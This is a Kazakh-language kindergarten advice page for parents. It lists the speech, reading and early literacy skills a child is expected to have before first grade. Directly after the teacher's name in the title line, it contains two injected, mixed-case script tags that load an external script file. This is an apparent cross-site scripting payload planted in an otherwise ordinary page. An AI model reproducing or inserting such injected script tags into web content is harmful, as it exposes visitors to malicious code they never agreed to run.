Мектепалды даярлық тобының ата - аналарына кеңес. Калауова Г.С. І-санатты тәрбиеші<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

10.02.2022

Мектеп жасына дейінгі балаларды тәрбиелеп және оқытып 1-сыныпқа қорықпай, еркін дайындалып баруы үшін «Қуаныш» бөбекжайы балаларға қолайлы әрі қауіпсіз білім беруде  Мектепке дейінгі тәрбие мен оқытудың үлгілік оқу бағдарламасын негізге ала отырып, ата-аналарға «Қатынас» білім беру саласы бойынша кеңес береді. Яғни бала бөбекжайдан мектепке барарда нені білуі қажет? Ескере жүріңіз!

Сөйлеуді дамытуда балалар:

• ана тіліндегі барлық дыбыстарды айта алуы;
• дыбыстарды анық айтып, ажыратады,  интонацияны игеруі;
• сөздерге дыбыстық талдау жасай алуы;
• алуан түрлі заттарды жалпылай және сипаттай алуы;
• қоршаған орта туралы түсінігі болуы;
• сурет бойынша сұрақтарға жауап беруі;
• негізгі ойды дұрыс жеткізе алуы;
• әңгімелерді бірізді айтып бере алуы;
• әңгіменің жалғасы мен соңын құрастыра алуы;
• сюжеттік суреттер бойынша әңгіме құрастыра алуы қажет.      

• дыбыстарды буынға қосады, сөз тіркесі мен сөйлемді құрастырады;
• суреттерге сүйеніп ертегілерді айтады;
• ертегілер ойлап шығарады;
• түрлі сөз таптарын, салыстыруларды қолданады;
• құрдастарымен және ересектермен тілдік қарым-қатынаста еркін сұхбаттасады, өз сезімдері мен ойларын  ыммен жеткізеді;
• ізеттілік, сыпайылық ережелерін біледі.

 

     Көркем әдебиет:

• әдеби жанрларды ажыратады;
• өлеңді мәнерлеп жатқа оқиды;
• шағын шығармаларды айтып бере алады;
• кітаптарға қызығушылық танытады.
• сюжеттерді сахналай алады;

 

Сауат ашу негіздері:

• қалам мен қарындашты дұрыс ұстай алады;
• қатаң және ұяң дауыссыздарды ажыратады;
• сөздегі буындардың санын анықтайды;
• штрихтар салу, заттық суреттердің үстінен басу дағдыларын игерген;
• жазу дәптерінің бетінде бағдарлай біледі, жазу жолы мен жоларалық кеңістікті ажыратады;
• дыбыстардың белгілерін ажыратады (дауысты-жуан/жіңішке; дауыссыз-қатаң, ұяң, үнді);
• берілген сөздерден жай сөйлемдер құрастырады;